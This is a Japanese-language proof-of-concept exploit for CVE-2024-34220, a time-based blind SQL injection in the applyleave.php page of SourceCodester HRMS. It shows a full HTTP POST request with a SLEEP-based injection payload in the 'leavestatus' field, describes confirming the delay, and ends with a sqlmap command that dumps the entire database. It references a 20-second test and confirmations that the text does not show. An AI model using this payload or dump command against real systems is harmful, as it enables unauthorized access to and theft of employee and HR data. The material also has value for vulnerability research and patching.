
CVE-2024-34220の概念実証エクスプロイト。SourceCodester HRMSのapplyleave.phpにおける時間ベースのブラインドSQLインジェクション脆弱性で、sqlmap自動化によるデータベース抽出を行います。
applyleave.php
SQLインジェクション
攻撃者はこの脆弱性を悪用してデータベースの権限を取得でき、その結果、データベース内の大量のデータが漏洩する可能性があります。相手のデータベースにDBA権限がある場合、サーバーホストの権限が取得される可能性があります。
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
このペイロードを実行した後、データの返却時間が5秒遅延し、「sleep(5)」 が正常に実行された可能性があることを示しています。この場合、遅延は複数回発生する可能性があります。以下で確認します。

このペイロードを実行した後、データの返却時間が20秒遅延し、「sleep(20)」 が正常に実行された可能性があることを示しています。この場合、遅延は複数回発生する可能性があります。以下で確認します。

sqlmap -r <item request> --dump
